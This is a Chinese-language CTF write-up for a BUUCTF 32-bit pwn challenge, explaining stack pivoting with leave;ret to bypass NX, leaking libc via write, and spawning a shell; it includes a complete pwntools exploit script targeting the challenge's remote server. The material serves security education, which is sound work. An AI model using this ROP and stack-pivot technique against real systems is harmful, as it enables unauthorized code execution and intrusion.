32位程序,开启了nx保护

没有system函数和‘/bin/sh’的字符串,这边需要我们自己去想办法构造system(‘/bin/sh’)

思路

第一次输入的参数s,那边我们可以写入很长的数据,我们可以将我们的rop链布置在那里, 接着执行第二次输入,利用站劫持,把程序的执行流程劫持到第一次输入的位置就可以了

站劫持利用

做栈劫持主要用到的是一个leave;ret指令,一般程序执行完成后都会调用leave;ret来还原现场

payload1=‘a’*0x18+p32(s-4)+p32(leave_ret)

给buf参数赋值的时候,溢出后将ebp覆写成s-4的地址,函数返回地址覆写成leave;ret指令的地址

理一下这样写程序的执行过程:

首先程序正常结束了,去调用程序本身的leave;ret来还原现场,
根据我们对栈的布局,
mov esp,ebp->将rsp指向了rbp,栈变成了这个样子

pop ebp->ebp寄存器被我们设置成了参数s-4的地址,指向了我们布置好的栈上方,这边-4是因为我们第二次执行pop ebp给ebp赋值的时候,会将rsp+4,如果不减去4,esp就在程序一开始的时候指向的不是栈顶,而是栈顶+4的位置,我们之后读取数据会丢失一开始的4字节,所以需要一开始的时候将指针往上抬4字节,栈变成了这个样子
ret(pop rip)->去调用leave;ret指令

再次执行leave;ret指令

mov esp,ebp->esp指向了参数s-4的位置,栈布局现在是这样
pop ebp->弹出栈顶的值给ebp,esp+4 向下一步执行之后栈变成了这样,我们成功将esp指针劫持到了我们布置好的栈上

ret(pop rip)->将esp指向的输值弹给rip
接下来它就会去执行我们布置好的泄露libc的步骤,我们去接收它输出的write函数地址,就知道了libc版本,接下来就能去构造system(’/bin/sh‘)了,接下来在重复一下上述的控制流程,就能拿到shell了

from pwn import *from LibcSearcher import *#p=process('./spwn')r=remote('node4.buuoj.cn',29955)elf=ELF('./spwn')write_plt=elf.plt['write']write_got=elf.got['write']main=0x8048513s=0x0804A300leave_ret=0x08048408payload=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)r.recvuntil("What is your name?")r.send(payload)payload1='a'*0x18+p32(s-4)+p32(leave_ret)r.recvuntil("What do you want to say?")r.send(payload1)write_addr=u32(r.recv(4))libc=LibcSearcher('write',write_addr)libc_base=write_addr-libc.dump('write')system=libc_base+libc.dump('system')sh=libc_base+libc.dump('str_bin_sh')r.recvuntil("name?")payload=p32(system)+p32(0)+p32(sh)r.sendline(payload)r.recvuntil("say?")r.sendline(payload1)r.interactive()

[Black Watch 入群题]PWN 栈劫持的利用相关推荐

  1. [BUUCTF-pwn]——[Black Watch 入群题]PWN

    [BUUCTF-pwn]--[Black Watch 入群题]PWN 题目地址: https://buuoj.cn/challenges#[Black Watch 入群题]PWN leave = mo ...

  2. [BUUCTF]PWN——ciscn_2019_es_2(栈劫持)

    32位程序,开启了nx保护 有个后门函数,但是需要把 system里面的 "echo flag" 修改为 bin/sh 才可以利用 这里可以得到 system 的地址; vul函数 ...

  3. 《LeetCode力扣练习》第155题 最小栈 Java

    <LeetCode力扣练习>第155题 最小栈 Java 一.资源 题目: 设计一个支持 push ,pop ,top 操作,并能在常数时间内检索到最小元素的栈. 实现 MinStack ...

  4. 牛客题霸 [栈和排序] C++题解/答案

    牛客题霸 [栈和排序] C++题解/答案 题目描述 给你一个1->n的排列和一个栈,入栈顺序给定 你要在不打乱入栈顺序的情况下,对数组进行从大到小排序 当无法完全排序时,请输出字典序最大的出栈序 ...

  5. 【DBA充电宝】和【Python充电宝】DBA充电宝和Python充电宝微信群已建立,可加我微信(lhrbestxh)入群...

    好消息,[DBA充电宝●微信群]和[Python学习微信群]都已建立,人数过多,不能扫码加入.想加入的新朋友可以加我微信(lhrbestxh,添加好友时请输入"加入DBA充电宝"或 ...

  6. 【通知】有三AI书籍和文化产品读者欢迎入群,送4本书!

    端午假期我们就不给大家推送新的技术文章了,今日邀请大家进入一个早就应该存在的群,"有三AI书籍和文化产品群".时至今日,有三AI生态平台已经出了两本书和多套文化产品,本次邀请相关用 ...

  7. 栈劫持(栈迁移)介绍

    栈劫持 栈劫持也可以称为栈迁移,用来解决栈本身可以利用的空间不够用,一般是溢出空间不够 用,没办法有效构造rop链.这个时候我们可以通过劫持ebp的方式,利用leave 和 ret两个汇编指令来做 到 ...

  8. 平均 3000-20000 块不等,有空接外包私活的入群!

    知乎上这个被浏览了948,816次的问题,看得我真是抓心挠肝: 都2021年了,居然还有兄弟不知道接外包赚外快的活路吗?! 根据自己的时间安排自由接活.开发方式可以选远程还是驻地,最后,只要你的项目够 ...

  9. 限时福利:入群锁定大会直播+PPT,听百位 AI 技术大咖、20 大热门主题分享!...

    文 / Aholiab 2020 年 7 月 3-4 日,由 CSDN 发起的「百万人学AI」倡议下,AI 开发者万人大会(AI ProCon 2020)将在线上正式与大家见面!届时,来自行业内 70 ...

最新文章

  1. pytorch的backward
  2. 如何学习大数据!!我要做大数据!
  3. Dataset之谷歌地图数据集:谷歌地图数据集的简介、安装、使用方法之详细攻略
  4. php中url编码地址栏,php url地址栏传中文乱码解决方法集合_PHP
  5. 用100行python代码发现语音识别文本错误词,并将结果和正确词一一对应
  6. 僵尸进程孤儿进程与守护进程
  7. rss spring 接口_spring 接口支持返回多种格式
  8. easyui加载后台数据 笔记
  9. 梯度消失与梯度爆炸----解决方案(一)
  10. delphi报列表索引越界怎么处理_深入了解散列表
  11. halo输入QQ号获取QQ头像和名称
  12. Power Apps 创建响应式布局
  13. 5G牌照都发完了,那些传说中的5G手机Ready了吗?
  14. 计算机专业课堂教学,计算机专业网络与课堂教学整合
  15. 数据仓库架构以及多维数据模型的设计
  16. SpringMVC总结笔记
  17. elementUI table表格合并相同的内容
  18. CFileDialog类学习
  19. MATLAB-Simulink中BusCreator/Selector 和 Mux/Demux有什么区别?
  20. Wannafly挑战赛27

热门文章

  1. 获取namespace
  2. C#设计模式学习笔记-单例模式
  3. Windows服务启动进程----Cjwdev.WindowsApi.dll
  4. 学生管理系统(SSM简易版)总结
  5. https跨域到http问题解决
  6. 深入分析Java Web技术内幕(二)
  7. 页面实现文字滚动效果(跑马灯)
  8. 硬盘安装WIN7方法
  9. train,dev,test数据集作用
  10. LDAP 查询基本知识